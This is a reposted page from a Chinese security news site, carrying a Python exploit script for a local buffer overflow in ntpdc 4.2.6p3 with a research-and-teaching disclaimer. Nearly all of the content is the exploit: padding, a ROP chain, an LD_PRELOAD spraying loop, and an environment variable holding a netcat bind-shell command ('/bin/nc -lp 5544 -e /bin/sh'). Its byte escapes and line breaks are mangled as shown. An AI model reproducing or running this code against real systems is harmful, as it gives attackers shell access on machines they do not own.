Ntpdc 4.2.6p3 - Local Buffer Overflow

没穿底裤 2020年1月1日05:25:52评论373 views字数 892阅读2分58秒阅读模式
摘要

# Source: https://hatriot.github.io/blog/2015/01/06/ntpdc-exploit/

# Source: https://hatriot.github.io/blog/2015/01/06/ntpdc-exploit/

from os import system, environ from struct import pack import sys # # ntpdc 4.2.6p3 bof # @dronesec # tested on x86 Ubuntu 12.04.5 LTS # IMAGE_BASE = 0x80000000 LD_INITIAL_OFFSET = 8900 LD_TAIL_OFFSET = 1400  sploit = "/x41" * 485        # junk  sploit += pack("<I", IMAGE_BASE + 0x000143e0) # eip sploit += "/x41" * 79        # junk  sploit += pack("<I", IMAGE_BASE + 0x0002678d) # location -0x14/-0x318 from shellcode  ld_pl = "" ld_pl += pack("<I", 0xeeffffff) # ESI ld_pl += pack("<I", 0x11366061) # EDI ld_pl += pack("<I", 0x41414141) # EBP ld_pl += pack("<I", IMAGE_BASE + 0x000138f2) # ADD EDI, ESI; RET ld_pl += pack("<I", IMAGE_BASE + 0x00022073) # CALL EDI ld_pl += pack("<I", 0xbffff60d) # payload addr based on empty env; probably wrong  environ["EGG"] = "/bin/nc -lp 5544 -e /bin/sh"  for idx in xrange(200):      for inc in xrange(200):          ld_pl = ld_pl + "/x41" * (LD_INITIAL_OFFSET + idx)         ld_pl += "/x43" * (LD_INITIAL_OFFSET + inc)          environ["LD_PRELOAD"] = ld_pl         system("echo %s | ntpdc 2>&1" % sploit)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2020年1月1日05:25:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Ntpdc 4.2.6p3 - Local Buffer Overflowhttp://cn-sec.com/archives/76179.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息